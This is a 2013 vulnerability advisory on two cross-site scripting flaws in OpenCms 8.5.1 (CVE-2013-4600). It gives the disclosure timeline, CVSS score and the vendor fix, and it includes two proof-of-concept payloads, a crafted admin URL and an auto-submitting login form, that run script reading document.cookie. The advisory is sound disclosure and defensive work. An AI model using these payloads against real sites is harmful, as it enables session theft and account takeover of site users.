XSS Vulnerabilities in OpenCms

[advisory@xxxxxxxxxxxx]

Advisory ID: HTB23160
Product: OpenCms
Vendor: Alkacon Software
Vulnerable Version(s): 8.5.1 and probably prior
Tested Version: 8.5.1
Vendor Notification: June 12, 2013 
Vendor Patch: July 10, 2013 
Public Disclosure: July 17, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-4600
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered 2 XSS vulnerabilities in 
OpenCms, which can be exploited to perform Cross-Site Scripting attacks against 
users of vulnerable application. 


1) Multiple Cross-Site Scripting (XSS) in OpenCms: CVE-2013-4600

1.1 The vulnerability exists due to insufficient sanitisation of user-supplied 
data in "title" HTTP GET parameter passed to 
"/opencms/opencms/system/workplace/views/admin/admin-main.jsp" script. A remote 
attacker can trick a logged-in administrator to open a specially crafted link 
and execute arbitrary HTML and script code in browser in context of the 
vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to 
display administrator's cookies:

http://[host]/opencms/opencms/system/workplace/views/admin/admin-main.jsp?action=&dialogtype=publishproject&framename=body&title=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


1.2 The vulnerability exists due to insufficient sanitisation of user-supplied 
data in "requestedResource" HTTP POST parameter passed to 
"/opencms/opencms/system/login/index.html" URL. A remote attacker can trick a 
logged-in user to open a specially crafted malicious webpage and execute 
arbitrary HTML and script code in browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to 
display user's cookies:


<form action="http://[host]/opencms/opencms/system/login/index.html"; 
method="post" name="main">
<input type="hidden" name="login"  value="true">
<input type="hidden" name="ocPword"  value="1">
<input type="hidden" name="ocUname"  value="1">
<input type="hidden" name="requestedResource"  
value='</script><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


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Solution:

Upgrade to OpenCms 8.5.2

More Information:
http://www.opencms.org/en/news/130710-opencms-v852-releasenotes.html
https://github.com/alkacon/opencms-core/issues/173

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References:

[1] High-Tech Bridge Advisory HTB23160 - 
https://www.htbridge.com/advisory/HTB23160 - XSS vulnerabilities in OpenCms.
[2] OpenCms - http://www.opencms.org - OpenCms from Alkacon Software is a 
professional, easy to use website content management system.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.